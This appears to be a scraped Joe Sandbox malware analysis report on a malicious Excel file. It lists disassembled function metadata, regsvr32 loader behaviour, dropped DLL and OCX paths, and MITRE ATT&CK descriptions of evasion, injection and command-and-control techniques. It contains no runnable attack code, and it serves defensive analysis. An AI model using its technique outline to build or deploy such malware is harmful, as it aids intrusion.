Function 000007FEF9D41200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D4120D
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D4125E

Strings

csm, xrefs: 000007FEF9D4121D

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyedExceptionFindFrameObjectUnlink
String ID: csm
API String ID: 1826589669-1018135373
Opcode ID: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction ID: 9f3dc625307ec028be1fda2cc305f99b8c00c3b4febe2b6a2618c0b56fcdacc0
Opcode Fuzzy Hash: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction Fuzzy Hash: 61114232944681CADFA0DF79C8812BD27E4F795B88F615135EA5D877B1CB26D981C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F3E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D2F419

Strings

("Corrupted pointer passed to _freea", 0), xrefs: 000007FEF9D2F430
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h, xrefs: 000007FEF9D2F445

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock
String ID: ("Corrupted pointer passed to _freea", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h
API String ID: 2882679554-3458198949
Opcode ID: 9de8216f17933041b20e0427cd6b955395f4fe92a776214bf069d9d6f9ded054
Instruction ID: ad827b7ac8ab2a7eb82804d35ce3812f3a61bc9df3b9012bdfb51b84df9589d9
Opcode Fuzzy Hash: 9de8216f17933041b20e0427cd6b955395f4fe92a776214bf069d9d6f9ded054
Instruction Fuzzy Hash: D6014431A1C78286EBD09B6AE88472EB3D0F390350F604535E6CD43FA8DBBED4058B01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2420, Parent PID: 2180COMMON

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.4%
Total number of Nodes:	90
Total number of Limit Nodes:	12

Executed Functions

Function 003B0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 003B0450
GetNativeSystemInfo.KERNEL32 ref: 003B0539
VirtualAlloc.KERNEL32 ref: 003B0580
VirtualProtect.KERNEL32 ref: 003B09E9

Strings

Virt, xrefs: 003B00E0
temI, xrefs: 003B014B
ualP, xrefs: 003B00FF
Reso, xrefs: 003B02FC
Reso, xrefs: 003B0338
RtlA, xrefs: 003B015C
Cach, xrefs: 003B012F
Load, xrefs: 003B00C8
ddFu, xrefs: 003B0163
Slee, xrefs: 003B00B7
Free, xrefs: 003B034D
Virt, xrefs: 003B00F8
onTa, xrefs: 003B0171
ofRe, xrefs: 003B0318
tion, xrefs: 003B0128
lloc, xrefs: 003B00F0
eSys, xrefs: 003B0144
urce, xrefs: 003B0340
urce, xrefs: 003B0304
Size, xrefs: 003B0311
rote, xrefs: 003B0106
ncti, xrefs: 003B016A
urce, xrefs: 003B035D
Load, xrefs: 003B02F4
ualA, xrefs: 003B00E8
aryA, xrefs: 003B00D8
Libr, xrefs: 003B00D0
Find, xrefs: 003B02D0
Lock, xrefs: 003B0330
Reso, xrefs: 003B02DB
hIns, xrefs: 003B011A
urce, xrefs: 003B02E7
truc, xrefs: 003B0121
GetN, xrefs: 003B0136
ativ, xrefs: 003B013D
sour, xrefs: 003B031F
Flus, xrefs: 003B0113
Reso, xrefs: 003B0355

Memory Dump Source

Source File: 00000004.00000002.1214636065.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3b0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: 9afc1e300d741774a680026ef55b814baa8c9bc1b53663ca5f48fe88e5bb128d
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: 6A72C430618B488BDB2DDF18C8856FAB7E1FB98305F10462EE9CAD7611DB34D946CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BEF0 Relevance: 5.4, Strings: 4, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WE0, xrefs: 000000018000C310
5RX, xrefs: 000000018000C159
&, xrefs: 000000018000C3AB
\h], xrefs: 000000018000C087

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$5RX$WE0$\h]
API String ID: 0-3485045178
Opcode ID: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction ID: bcdd786ba30a02497e69aa8425991a4f00e6ab9cdb2a577162cf86c9936701da
Opcode Fuzzy Hash: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction Fuzzy Hash: 4502E4705187C88BD794DFA8C48A69FFBE1FB94744F104A1DF486862A0DBF4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017C8C Relevance: 4.0, Strings: 3, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

K_j, xrefs: 0000000180017EF3
is[, xrefs: 0000000180017E36
47T], xrefs: 0000000180018050

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 47T]$K_j$is[
API String ID: 0-2699472077
Opcode ID: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction ID: 6016c1221021197edd7f817fb9cbd09fcb5ac8bbf6c5f54f5697c1ffe249b4d0
Opcode Fuzzy Hash: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction Fuzzy Hash: 2CD127719047CD8FCF99CFA8C88A6EE7BB1FB48344F50821DE80697651C7B4990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029710 Relevance: 4.0, Strings: 3, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$g, xrefs: 00000001800299E4
nB, xrefs: 00000001800299EC
>6, xrefs: 0000000180029ADE

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $g$>6$nB
API String ID: 0-1868063892
Opcode ID: 8b852edfb9a28c8a6125e1cd608d8a75501181fe9d205967e4ddb9cdded4da80
Instruction ID: 5ef365e91c1d80a07604eb41db5a1b86f6ebf61e3d7968a3749ade557fb4125b
Opcode Fuzzy Hash: 8b852edfb9a28c8a6125e1cd608d8a75501181fe9d205967e4ddb9cdded4da80
Instruction Fuzzy Hash: 7CB121705193849FC7A9CF68C58569EBBF0FB88744F906A1DF8868B260D7B4DA44CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800155E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET ref: 000000018001574B

Strings

pYi, xrefs: 00000001800156D0
/w?, xrefs: 00000001800156B5

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID: /w?$pYi
API String ID: 3050416762-3829454487
Opcode ID: 33421f65957b2cee526031f8a07a804c17c2d95f214975574550df922f90e764
Instruction ID: 9ccfc4099f9371cda73c12f66118d6bd88d16b35f011f4316eea9315b8229921
Opcode Fuzzy Hash: 33421f65957b2cee526031f8a07a804c17c2d95f214975574550df922f90e764
Instruction Fuzzy Hash: B741E57050C7888FD778DF28D08579AB7E0FB98355F504A2EE88DC7256DB749844CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008E80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET ref: 0000000180008FCE

Strings

/w?, xrefs: 0000000180008F31

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID: /w?
API String ID: 1984915467-2883141396
Opcode ID: 818aa95858f7ed11817eb131aa565176550a369bd62d65159787a93bff5cf428
Instruction ID: 62644a68fcffc2b577fce7b544f847534cb1236eece225f9d3186d00a7134b33
Opcode Fuzzy Hash: 818aa95858f7ed11817eb131aa565176550a369bd62d65159787a93bff5cf428
Instruction Fuzzy Hash: 82414B7051CB848BDBA4DF18D08979AB7E0FB98315F10495EE48CC7296DB789888CB87

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A3E0 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 000000018002A553

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: bf946f7280dffac1a3cb664117863ae64736b63a5e6a79a2235ba17386e3f57f
Instruction ID: a7a4fb0533c75889cab630729e0b0d9f2a38dc76e554bad22bb68829b1652ebe
Opcode Fuzzy Hash: bf946f7280dffac1a3cb664117863ae64736b63a5e6a79a2235ba17386e3f57f
Instruction Fuzzy Hash: AB412C705187808FEB78DF18D48A79AB7E1FB98305F104A5DE88DC7396CB789844CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010B1C Relevance: 1.6, APIs: 1, Instructions: 96fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000180010C64

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 36e83bb09eec7ec6f2f1980e7d227db28432cb7784451cfb87e32bb48f6cd236
Instruction ID: ac55bdb39f8b4cda225445b8a297a6fe4d60e7d5d7af93594b9ed55c6b81ea6e
Opcode Fuzzy Hash: 36e83bb09eec7ec6f2f1980e7d227db28432cb7784451cfb87e32bb48f6cd236
Instruction Fuzzy Hash: B941047061C7848FC7A8DF18D08579AB7E0FB98304F10895EE88DC7256DB709988CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025B1C Relevance: 1.6, APIs: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 0000000180025C1B

Memory Dump Source

Source File: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7af62da62a3dd359fefdd9c6a8904522cdd90ae6c0ef31e605b5c3566544960a
Instruction ID: 3f2c7be81e2b52442973c9c793e7ddf499cdb82d70e50cd1cb8991bbce4e9b94
Opcode Fuzzy Hash: 7af62da62a3dd359fefdd9c6a8904522cdd90ae6c0ef31e605b5c3566544960a
Instruction Fuzzy Hash: 4F316970A1CB848FD768DF28D48A75AB7E0FB98304F100A1EF588C7252CB74D904CB86

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Datei_26744565.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll

C:\Users\user\AppData\Local\Temp\CabE354.tmp

C:\Users\user\AppData\Local\Temp\TarE355.tmp

C:\Users\user\AppData\Local\Temp\~DF510C5EA216433379.TMP

C:\Users\user\Desktop\Datei_26744565.xls

C:\Users\user\uxevr1.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr3.ocx

C:\Users\user\uxevr4.ocx

C:\Windows\System32\AnDDvm\lwQjfM.dll (copy)

C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)

Windows Analysis Report
Datei_26744565.xls

Function 000007FEF9D212B0 Relevance: 144.4, APIs: 6, Strings: 76, Instructions: 872
memorywindowCOMMON

Function 002C0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre